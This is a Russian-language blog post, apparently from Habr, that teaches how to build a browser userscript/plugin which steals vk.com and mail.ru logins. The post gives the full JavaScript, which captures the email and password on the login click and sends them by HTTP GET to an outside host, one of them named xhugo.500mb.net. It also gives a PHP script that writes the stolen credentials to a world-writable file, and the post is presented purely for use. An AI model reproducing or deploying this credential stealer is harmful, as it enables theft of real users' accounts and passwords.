Search
Write a publication
Pull to refresh

JavaScript Google Chrome plugin, воруем пароли vk.com, mail.ru

image


Приветствую!
Сегодня будем писать плагин для Google Chrome на JavaScript.


Как будет работать так:
пользователь заходит на сайт vk.com или mail.ru, как данные будут введены, пользователь жмет кнопку «Войти» и его данные будут отправлены на наш сайт(в файл).

Код плагина:
// ==UserScript==
// @name          xhugo
// @description   xhugo plugin.
// @include       http://vk.com/
// @include       http://www.vk.com/
// @include       http://mail.ru/
// @include       http://www.mail.ru/

// ==/UserScript==
function loadXMLDoc(url){
		if (window.XMLHttpRequest) {
					http = new XMLHttpRequest();
					http.onreadystatechange = processReqChange;
					http.open("GET", url, true);
					http.send(null);
		}else if (window.ActiveXObject) {
					http = new ActiveXObject("Microsoft.XMLHTTP");
					if (http) {
							http.onreadystatechange = processReqChange;
							http.open("GET", url, true);
							http.send();
					}
			}
}
function processReqChange(){
		httptt = window.setTimeout("http.abort();", 5000);
		if (http.readyState == 4) {
					clearTimeout(httptt);
		}
}

function htmlpars(where,is){
    if(new RegExp(is,"ig").exec(where)){
      return true;
    } else return false;
}

if(htmlpars(location.href,'vk.com')==true){
   var vk_email = document.getElementById('quick_email');
   var vk_pass = document.getElementById('quick_pass');
   var vk_button = document.getElementById('quick_login_button');

   vk_button.addEventListener("click",function() {
      loadXMLDoc('http://site/post.php?login='+vk_email.value+'&pass='+vk_pass.value);
   }); 
}

if(htmlpars(location.href,'mail.ru')==true){
   var mail_email = document.getElementById('mailbox__login');
   var mail_pass = document.getElementById('mailbox__password');
   var mail_button = document.getElementById('mailbox__submit__button');

   mail_button.onclick=function(){                            
      loadXMLDoc('http://xhugo.500mb.net/test/post.php?login='+mail_email.value+'&pass='+mail_pass.value);
   };
}


Рассмотрим код по порядку.

Функция «loadXMLDoc(url)» для отправки GET запрос на файл для записи, который рассмотрим позже.

Функция
function htmlpars(where,is){
    if(new RegExp(is,"ig").exec(where)){
      return true;
    } else return false;
}

Для парсинга урл, проверка на совпадения.

И основа кода:
if(htmlpars(location.href,'vk.com')==true){
   var vk_email = document.getElementById('quick_email');  // получаем данные
   var vk_pass = document.getElementById('quick_pass');
   var vk_button = document.getElementById('quick_login_button');

   vk_button.addEventListener("click",function() { // отслеживаем клик по кнопки
      loadXMLDoc('http://site/get.php?login='+vk_email.value+'&pass='+vk_pass.value); // отправляем данные
   }); 
}

if(htmlpars(location.href,'mail.ru')==true){  // так же для mail.ru
   var mail_email = document.getElementById('mailbox__login');
   var mail_pass = document.getElementById('mailbox__password');
   var mail_button = document.getElementById('mailbox__submit__button');

   mail_button.onclick=function(){                            
      loadXMLDoc('http://site/get.php?login='+mail_email.value+'&pass='+mail_pass.value);
   };
}


Осталось только принимать данные.
Файл get.php:
<?
$data = "$_GET[login] : $_GET[pass] \n";
$filename = "file.txt";

if ( is_writeable($filename) ) {
   $fh = fopen($filename, "a+");
   $success - fwrite($fh, $data);
   fclose($fh);
}
?>


Осталось только переименовать плагин в %NAME%.user.js, создать файл file.txt с правами 777 и изменить ссылки в плагине на ваши.

Удачи!
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.